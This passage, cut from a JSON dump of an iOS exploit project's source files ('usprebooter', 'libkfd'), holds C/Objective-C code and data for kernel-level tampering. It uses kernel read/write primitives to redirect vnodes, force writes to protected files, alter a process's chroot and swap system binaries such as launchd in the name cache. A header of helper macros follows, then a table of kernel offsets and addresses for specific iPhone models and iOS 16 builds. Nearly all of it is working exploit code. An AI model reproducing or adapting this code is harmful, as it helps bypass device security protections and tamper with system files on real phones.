  return getVnodeAtPathByChdir(\"/private/var\");\n}\n\nuint64_t getVnodeVarMobile(void) {\n    return getVnodeAtPathByChdir(\"/private/var/mobile\");\n}\n\nuint64_t getVnodePreferences(void) {\n    return getVnodeAtPathByChdir(\"/private/var/mobile/Library/Preferences\");\n}\n\nuint64_t getVnodeLibrary(void) {\n    return getVnodeAtPathByChdir(\"/private/var/mobile/Library\");;\n}\n\nuint64_t getVnodeSystemGroup(void) {\n    return getVnodeAtPathByChdir(\"/private/var/containers/Shared/SystemGroup\");\n}\n\nuint64_t findChildVnodeByVnode(uint64_t vnode, char* childname) {\n    uint64_t vp_nameptr = kread64(vnode + off_vnode_v_name);\n    uint64_t vp_name = kread64(vp_nameptr);\n\n    uint64_t vp_namecache = kread64(vnode + off_vnode_v_ncchildren_tqh_first);\n    \n    if(vp_namecache == 0)\n        return 0;\n    \n    while(1) {\n        if(vp_namecache == 0)\n            break;\n        vnode = kread64(vp_namecache + off_namecache_nc_vp);\n        if(vnode == 0)\n            break;\n        vp_nameptr = kread64(vnode + off_vnode_v_name);\n        \n        char vp_name[256];\n        kreadbuf(vp_nameptr, &vp_name, 256);\n//        NSLog(@\"vp_name: %s\\n\", vp_name);\n        \n        if(strcmp(vp_name, childname) == 0) {\n            return vnode;\n        }\n        vp_namecache = kread64(vp_namecache + off_namecache_nc_child_tqe_prev);\n    }\n\n    return 0;\n}\n\nuint64_t funVnodeRedirectFolderFromVnode(char* to, uint64_t from_vnode) {\n    uint64_t to_vnode = getVnodeAtPath(to);\n    if(to_vnode == -1) {\n        NSLog(@\"[-] Unable to get vnode, path: %s\", to);\n        return -1;\n    }\n    \n    uint8_t to_v_references = kread8(to_vnode + off_vnode_v_references);\n    uint32_t to_usecount = kread32(to_vnode + off_vnode_v_usecount);\n    uint32_t to_v_kusecount = kread32(to_vnode + off_vnode_v_kusecount);\n    uint64_t orig_to_v_data = kread64(to_vnode + off_vnode_v_data);\n    \n    //If mount point is different, return -1\n    uint64_t to_devvp = kread64((kread64(to_vnode + off_vnode_v_mount) | base_pac_mask) + off_mount_mnt_devvp);\n    uint64_t from_devvp = kread64((kread64(from_vnode + off_vnode_v_mount) | base_pac_mask) + off_mount_mnt_devvp);\n    if(to_devvp != from_devvp) {\n        NSLog(@\"[-] mount points of folders are different!\");\n        return -1;\n    }\n    \n    uint64_t from_v_data = kread64(from_vnode + off_vnode_v_data);\n    \n    kwrite32(to_vnode + off_vnode_v_usecount, to_usecount + 1);\n    kwrite32(to_vnode + off_vnode_v_kusecount, to_v_kusecount + 1);\n    kwrite8(to_vnode + off_vnode_v_references, to_v_references + 1);\n    kwrite64(to_vnode + off_vnode_v_data, from_v_data);\n    \n    return orig_to_v_data;\n}\n\nuint64_t funVnodeUnRedirectFolder (char* to, uint64_t orig_to_v_data) {\n    uint64_t to_vnode = getVnodeAtPath(to);\n    if(to_vnode == -1) {\n        NSLog(@\"[-] Unable to get vnode, path: %s\", to);\n        return -1;\n    }\n    \n    uint8_t to_v_references = kread8(to_vnode + off_vnode_v_references);\n    uint32_t to_usecount = kread32(to_vnode + off_vnode_v_usecount);\n    uint32_t to_v_kusecount = kread32(to_vnode + off_vnode_v_kusecount);\n    \n    kwrite64(to_vnode + off_vnode_v_data, orig_to_v_data);\n    \n    if(to_usecount > 0)\n       kwrite32(to_vnode + off_vnode_v_usecount, to_usecount - 1);\n    if(to_v_kusecount > 0)\n        kwrite32(to_vnode + off_vnode_v_kusecount, to_v_kusecount - 1);\n    if(to_v_references > 0)\n        kwrite8(to_vnode + off_vnode_v_references, to_v_references - 1);\n    \n    return 0;\n}\n\nuint64_t funVnodeOverwriteFileUnlimitSize(char* to, char* from) {\n\n    int to_file_index = open(to, O_RDONLY);\n    if (to_file_index == -1) return -1;\n    \n    int from_file_index = open(from, O_RDONLY);\n    if (from_file_index == -1) return -1;\n    off_t from_file_size = lseek(from_file_index, 0, SEEK_END);\n    \n    uint64_t proc = getProc(getpid());\n    \n    //get vnode\n    uint64_t filedesc_pac = kread64(proc + off_p_pfd);\n    uint64_t filedesc = filedesc_pac | base_pac_mask;\n    uint64_t openedfile = kread64(filedesc + (8 * to_file_index));\n    uint64_t fileglob_pac = kread64(openedfile + off_fp_glob);\n    uint64_t fileglob = fileglob_pac | base_pac_mask;\n    uint64_t vnode_pac = kread64(fileglob + off_fg_data);\n    uint64_t to_vnode = vnode_pac | base_pac_mask;\n    NSLog(@\"[i] %s to_vnode: 0x%llx\", to, to_vnode);\n    \n    kwrite32(fileglob + off_fg_flag, FREAD | FWRITE);\n    \n    uint32_t to_vnode_v_writecount =  kread32(to_vnode + off_vnode_v_writecount);\n    NSLog(@\"[i] %s Increasing to_vnode->v_writecount: %d\", to, to_vnode_v_writecount);\n    if(to_vnode_v_writecount <= 0) {\n        kwrite32(to_vnode + off_vnode_v_writecount, to_vnode_v_writecount + 1);\n        NSLog(@\"[+] %s Increased to_vnode->v_writecount: %d\", to, kread32(to_vnode + off_vnode_v_writecount));\n    }\n    \n\n    char* from_mapped = mmap(NULL, from_file_size, PROT_READ, MAP_PRIVATE, from_file_index, 0);\n    if (from_mapped == MAP_FAILED) {\n        perror(\"[-] Failed mmap (from_mapped)\");\n        close(from_file_index);\n        close(to_file_index);\n        return -1;\n    }\n    \n    NSLog(@\"[i] ftruncate ret: %d\", ftruncate(to_file_index, 0));\n    NSLog(@\"[i] write ret: %zd\", write(to_file_index, from_mapped, from_file_size));\n    \n    munmap(from_mapped, from_file_size);\n    \n    kwrite32(fileglob + off_fg_flag, FREAD);\n    \n    close(from_file_index);\n    close(to_file_index);\n\n    return 0;\n}\n\nuint64_t getVnodeAtPathByChdir(char *path) {\n    printf(\"get vnode of %s\", path);\n    if(access(path, F_OK) == -1) {\n        NSLog(@\"accessing not OK\");\n        return -1;\n    }\n    if(chdir(path) == -1) {\n        printf(\"chdir not OK\");\n        return -1;\n    }\n    uint64_t fd_cdir_vp = kread64(getProc(getpid()) + off_p_pfd + off_fd_cdir);\n    chdir(\"/\");\n    return fd_cdir_vp;\n}\n\nvoid ChangeDirFor(int pid, const char *where)\n{\n    NSLog(@\"change dir for pid %d\", pid);\n    uint64_t proc = getProc(pid);\n    uint64_t vp = getVnodeAtPathByChdir(where);\n    if (vp == -1) {\n        vp = getVnodeAtPath(where);\n    }\n    NSLog(@\"vp %llx\\n\", vp);\n    kwrite64(proc + off_p_pfd + (off_fd_cdir + 0x8), vp); // rdir\n    kwrite64(proc + off_p_pfd + (off_fd_cdir + 0x0), vp); // cdir\n    uint32_t fd_flags = kread32(proc + off_p_pfd + 0x58); // flag\n    fd_flags |= 1; // FD_CHROOT = 1;\n    kwrite32(proc + off_p_pfd + 0x58, fd_flags);\n    usleep(250);\n    fd_flags &= ~1; // FD_CHROOT = 1;\n    kwrite32(proc + off_p_pfd + 0x58, fd_flags);\n    kwrite32(vp + off_vnode_v_usecount, 0x2000); // the usecount will be -1 after this and panic after a userspace reboot\n    kwrite32(vp + off_vnode_v_iocount, 0x2000);\n}\n\n// try reading through vp_ncchildren of /sbin/'s vnode to find launchd's namecache\n// after that, kwrite namecache, vnode id -> thx bedtime / misfortune\n\nint SwitchSysBin(uint64_t vnode, char* what, char* with)\n{\n    uint64_t vp_nameptr = kread64(vnode + off_vnode_v_name);\n    uint64_t vp_namecache = kread64(vnode + off_vnode_v_ncchildren_tqh_first);\n    if(vp_namecache == 0)\n        return 0;\n    \n    while(1) {\n        if(vp_namecache == 0)\n            break;\n        vnode = kread64(vp_namecache + off_namecache_nc_vp);\n        if(vnode == 0)\n            break;\n        vp_nameptr = kread64(vnode + off_vnode_v_name);\n        \n        char vp_name[256];\n        kreadbuf(kread64(vp_namecache + 96), &vp_name, 256);\n//        printf(\"vp_name: %s\\n\", vp_name);\n        \n        if(strcmp(vp_name, what) == 0)\n        {\n            uint64_t with_vnd = getVnodeAtPath(with);\n            uint32_t with_vnd_id = kread64(with_vnd + 116);\n            uint64_t patient = kread64(vp_namecache + 80);        // vnode the name refers\n            uint32_t patient_vid = kread64(vp_namecache + 64);    // name vnode id\n            printf(\"patient: %llx vid:%llx -> %llx\\n\", patient, patient_vid, with_vnd_id);\n\n            kwrite64(vp_namecache + 80, with_vnd);\n            kwrite32(vp_namecache + 64, with_vnd_id);\n            \n            return vnode;\n        }\n        vp_namecache = kread64(vp_namecache + off_namecache_nc_child_tqe_prev);\n    }\n\n    return 0;\n}\n"
  },
  {
    "path": "usprebooter/libkfd/common.h",
    "content": "/*\n * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.\n */\n\n#ifndef common_h\n#define common_h\n\n#include <errno.h>\n#include <mach/mach.h>\n#include <pthread.h>\n#include <semaphore.h>\n#include <stdatomic.h>\n#include <stdbool.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/ioctl.h>\n#include <sys/mman.h>\n#include <sys/syscall.h>\n#include <sys/sysctl.h>\n#include <unistd.h>\n#include <CoreFoundation/CoreFoundation.h>\n\n#ifndef __OBJC__\nvoid NSLog(CFStringRef, ...);\n#endif\n\n#define pages(number_of_pages) ((number_of_pages) * (ARM_PGBYTES))\n\n#define min(a, b) (((a) < (b)) ? (a) : (b))\n#define max(a, b) (((a) > (b)) ? (a) : (b))\n\ntypedef int8_t i8;\ntypedef int16_t i16;\ntypedef int32_t i32;\ntypedef int64_t i64;\ntypedef intptr_t isize;\n\ntypedef uint8_t u8;\ntypedef uint16_t u16;\ntypedef uint32_t u32;\ntypedef uint64_t u64;\ntypedef uintptr_t usize;\n\n/*\n * Helper print macros.\n */\n\n#if CONFIG_PRINT\n\n#define print(format, ...) NSLog(CFSTR(format), ##__VA_ARGS__)\n\n#else /* CONFIG_PRINT */\n\n#define print(args...)\n\n#endif /* CONFIG_PRINT */\n\n#define print_bool(name) print(\"[%s]: %s = %s\", __FUNCTION__, #name, name ? \"true\" : \"false\")\n\n#define print_i8(name) print(\"[%s]: %s = %hhi\", __FUNCTION__, #name, name)\n#define print_u8(name) print(\"[%s]: %s = %hhu\", __FUNCTION__, #name, name)\n#define print_x8(name) print(\"[%s]: %s = %02hhx\", __FUNCTION__, #name, name)\n\n#define print_i16(name) print(\"[%s]: %s = %hi\", __FUNCTION__, #name, name)\n#define print_u16(name) print(\"[%s]: %s = %hu\", __FUNCTION__, #name, name)\n#define print_x16(name) print(\"[%s]: %s = %04hx\", __FUNCTION__, #name, name)\n\n#define print_i32(name) print(\"[%s]: %s = %i\", __FUNCTION__, #name, name)\n#define print_u32(name) print(\"[%s]: %s = %u\", __FUNCTION__, #name, name)\n#define print_x32(name) print(\"[%s]: %s = %08x\", __FUNCTION__, #name, name)\n\n#define print_i64(name) print(\"[%s]: %s = %lli\", __FUNCTION__, #name, name)\n#define print_u64(name) print(\"[%s]: %s = %llu\", __FUNCTION__, #name, name)\n#define print_x64(name) print(\"[%s]: %s = %016llx\", __FUNCTION__, #name, name)\n\n#define print_isize(name) print(\"[%s]: %s = %li\", __FUNCTION__, #name, name)\n#define print_usize(name) print(\"[%s]: %s = %lu\", __FUNCTION__, #name, name)\n#define print_xsize(name) print(\"[%s]: %s = %016lx\", __FUNCTION__, #name, name)\n\n#define print_string(name) print(\"[%s]: %s = %s\", __FUNCTION__, #name, name)\n\n#define print_message(format, ...) do { print(\"[%s]: \" format, __FUNCTION__, ##__VA_ARGS__); } while (0)\n#define print_success(format, ...) do { print(\"[%s]: 🟢 \" format, __FUNCTION__, ##__VA_ARGS__);  } while (0)\n#define print_warning(format, ...) do { print(\"[%s]: 🟡 \" format, __FUNCTION__, ##__VA_ARGS__); } while (0)\n#define print_failure(format, ...) do { print(\"[%s]: 🔴 \" format, __FUNCTION__, ##__VA_ARGS__); } while (0)\n\n#define print_timer(tv)                                           \\\n    do {                                                          \\\n        u64 sec = ((tv)->tv_sec);                                 \\\n        u64 msec = ((tv)->tv_usec) / 1000;                        \\\n        u64 usec = ((tv)->tv_usec) % 1000;                        \\\n        print_success(\"%llus %llums %lluus\", sec, msec, usec);    \\\n    } while (0)\n\n#define print_buffer(uaddr, size)                                          \\\n    do {                                                                   \\\n        const u64 u64_per_line = 8;                                        \\\n        volatile u64* u64_base = (volatile u64*)(uaddr);                   \\\n        u64 u64_size = ((u64)(size) / sizeof(u64));                        \\\n        for (u64 u64_offset = 0; u64_offset < u64_size; u64_offset++) {    \\\n            if ((u64_offset % u64_per_line) == 0) {                        \\\n                print(\"[0x%04llx]: \", u64_offset * sizeof(u64));           \\\n            }                                                              \\\n            print(\"%016llx\", u64_base[u64_offset]);                        \\\n            if ((u64_offset % u64_per_line) == (u64_per_line - 1)) {       \\\n                print(\"\\n\");                                               \\\n            } else {                                                       \\\n                print(\" \");                                                \\\n            }                                                              \\\n        }                                                                  \\\n        if ((u64_size % u64_per_line) != 0) {                              \\\n            print(\"\\n\");                                                   \\\n        }                                                                  \\\n    } while (0)\n\n/*\n * Helper assert macros.\n */\n\n#if CONFIG_ASSERT\n\n#define assert(condition)                                               \\\n    do {                                                                \\\n        if (!(condition)) {                                             \\\n            print_failure(\"assertion failed: (%s)\", #condition);        \\\n            print_failure(\"file: %s, line: %d\", __FILE__, __LINE__);    \\\n        }                                                               \\\n    } while (0)\n\n#else /* CONFIG_ASSERT */\n\n#define assert(condition)\n\n#endif /* CONFIG_ASSERT */\n\n#define assert_false(message)                               \\\n    do {                                                    \\\n        print_failure(\"error: %s\", message);                \\\n        assert(false);                                      \\\n    } while (0)\n\n\n\n#define assert_bsd(statement)                                                                        \\\n    do {                                                                                             \\\n        kern_return_t kret = (statement);                                                            \\\n        if (kret != KERN_SUCCESS) {                                                                  \\\n            print_failure(\"bsd error: kret = %d, errno = %d (%s)\", kret, errno, strerror(errno));    \\\n            assert(kret == KERN_SUCCESS);                                                            \\\n        }                                                                                            \\\n    } while (0)\n\n#define assert_mach(statement)                                                             \\\n    do {                                                                                   \\\n        kern_return_t kret = (statement);                                                  \\\n        if (kret != KERN_SUCCESS) {                                                        \\\n            print_failure(\"mach error: kret = %d (%s)\", kret, mach_error_string(kret));    \\\n            assert(kret == KERN_SUCCESS);                                                  \\\n        }                                                                                  \\\n    } while (0)\n\n/*\n * Helper timer macros.\n */\n\n#if CONFIG_TIMER\n\n#define timer_start()                                 \\\n    struct timeval tv_start;                          \\\n    do {                                              \\\n        assert_bsd(gettimeofday(&tv_start, NULL));    \\\n    } while (0)\n\n#define timer_end()                                 \\\n    do {                                            \\\n        struct timeval tv_end, tv_diff;             \\\n        assert_bsd(gettimeofday(&tv_end, NULL));    \\\n        timersub(&tv_end, &tv_start, &tv_diff);     \\\n        print_timer(&tv_diff);                      \\\n    } while (0)\n\n#else /* CONFIG_TIMER */\n\n#define timer_start()\n#define timer_end()\n\n#endif /* CONFIG_TIMER */\n\n/*\n * Helper allocation macros.\n */\n\n#define malloc_bzero(size)               \\\n    ({                                   \\\n        void* pointer = malloc(size);    \\\n        assert(pointer != NULL);         \\\n        bzero(pointer, size);            \\\n        pointer;                         \\\n    })\n\n#define bzero_free(pointer, size)    \\\n    do {                             \\\n        bzero(pointer, size);        \\\n        free(pointer);               \\\n        pointer = NULL;              \\\n    } while (0)\n\nextern signed long long base_pac_mask;\n\n\n#endif /* common_h */\n"
  },
  {
    "path": "usprebooter/libkfd/info/dynamic_info.h",
    "content": "#ifndef dynamic_info_h\n#define dynamic_info_h\n\nstruct dynamic_info {\n    const char* kern_version;\n    const char* build_version;\n    const char* device_id;\n    // struct fileglob\n    u64 fileglob__fg_ops;\n    u64 fileglob__fg_data;\n    // struct fileops\n    u64 fileops__fo_kqfilter;\n    // struct fileproc\n    // u64 fileproc__fp_iocount;\n    // u64 fileproc__fp_vflags;\n    // u64 fileproc__fp_flags;\n    // u64 fileproc__fp_guard_attrs;\n    // u64 fileproc__fp_glob;\n    // u64 fileproc__fp_guard;\n    // u64 fileproc__object_size;\n    // struct fileproc_guard\n    u64 fileproc_guard__fpg_guard;\n    // struct kqworkloop\n    u64 kqworkloop__kqwl_state;\n    u64 kqworkloop__kqwl_p;\n    u64 kqworkloop__kqwl_owner;\n    u64 kqworkloop__kqwl_dynamicid;\n    u64 kqworkloop__object_size;\n    // struct pmap\n    u64 pmap__tte;\n    u64 pmap__ttep;\n    // struct proc\n    u64 proc__p_list__le_next;\n    u64 proc__p_list__le_prev;\n    u64 proc__p_pid;\n    u64 proc__p_fd__fd_ofiles;\n    u64 proc__object_size;\n    // struct pseminfo\n    u64 pseminfo__psem_usecount;\n    u64 pseminfo__psem_uid;\n    u64 pseminfo__psem_gid;\n    u64 pseminfo__psem_name;\n    u64 pseminfo__psem_semobject;\n    // struct psemnode\n    // u64 psemnode__pinfo;\n    // u64 psemnode__padding;\n    // u64 psemnode__object_size;\n    // struct semaphore\n    u64 semaphore__owner;\n    // struct specinfo\n    u64 specinfo__si_rdev;\n    // struct task\n    u64 task__map;\n    u64 task__threads__next;\n    u64 task__threads__prev;\n    u64 task__itk_space;\n    u64 task__object_size;\n    // struct thread\n    u64 thread__task_threads__next;\n    u64 thread__task_threads__prev;\n    u64 thread__map;\n    u64 thread__thread_id;\n    u64 thread__object_size;\n    // struct uthread\n    u64 uthread__object_size;\n    // struct vm_map_entry\n    u64 vm_map_entry__links__prev;\n    u64 vm_map_entry__links__next;\n    u64 vm_map_entry__links__start;\n    u64 vm_map_entry__links__end;\n    u64 vm_map_entry__store__entry__rbe_left;\n    u64 vm_map_entry__store__entry__rbe_right;\n    u64 vm_map_entry__store__entry__rbe_parent;\n    // struct vnode\n    u64 vnode__v_un__vu_specinfo;\n    // struct _vm_map\n    u64 _vm_map__hdr__links__prev;\n    u64 _vm_map__hdr__links__next;\n    u64 _vm_map__hdr__links__start;\n    u64 _vm_map__hdr__links__end;\n    u64 _vm_map__hdr__nentries;\n    u64 _vm_map__hdr__rb_head_store__rbh_root;\n    u64 _vm_map__pmap;\n    u64 _vm_map__hint;\n    u64 _vm_map__hole_hint;\n    u64 _vm_map__holes_list;\n    u64 _vm_map__object_size;\n    // kernelcache static addresses\n    u64 kernelcache__kernel_base;\n    u64 kernelcache__cdevsw;\n    u64 kernelcache__gPhysBase;\n    u64 kernelcache__gPhysSize;\n    u64 kernelcache__gVirtBase;\n    u64 kernelcache__perfmon_devices;\n    u64 kernelcache__perfmon_dev_open;\n    u64 kernelcache__ptov_table;\n    u64 kernelcache__vm_first_phys_ppnum;\n    u64 kernelcache__vm_pages;\n    u64 kernelcache__vm_page_array_beginning_addr;\n    u64 kernelcache__vm_page_array_ending_addr;\n    u64 kernelcache__vn_kqfilter;\n};\n\nconst struct dynamic_info kern_versions[] = {\n    // Start iPhone XS, XS Max, XR series //\n // Start iPhone XR //\n  // iOS 16.2 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:15 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20C65\",\n        .device_id = \"iPhone11,8\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a0f5178,\n        .kernelcache__gPhysBase = 0xfffffff0077ffc60,\n        .kernelcache__gPhysSize = 0xfffffff0077ffc60 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0077fde40,\n        .kernelcache__perfmon_devices = 0xfffffff00a130380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e3b3ac,\n        .kernelcache__ptov_table = 0xfffffff0077b3248,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a12f800,\n        .kernelcache__vm_pages = 0xfffffff0077b0080,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077b2208,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a12f7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007e8da44,\n    },\n  // iOS 16.3 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D47\",\n        .device_id = \"iPhone11,8\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a0f5178,\n        .kernelcache__gPhysBase = 0xfffffff0077ffd48,\n        .kernelcache__gPhysSize = 0xfffffff0077ffd48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0077fdf28,\n        .kernelcache__perfmon_devices = 0xfffffff00a130380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e3b398,\n        .kernelcache__ptov_table = 0xfffffff0077b3288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a12f800,\n        .kernelcache__vm_pages = 0xfffffff0077b00c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077b2248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a12f7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007e8da20,\n    },\n  // iOS 16.3.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D67\",\n        .device_id = \"iPhone11,8\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a0f5178,\n        .kernelcache__gPhysBase = 0xfffffff0077ffd48,\n        .kernelcache__gPhysSize = 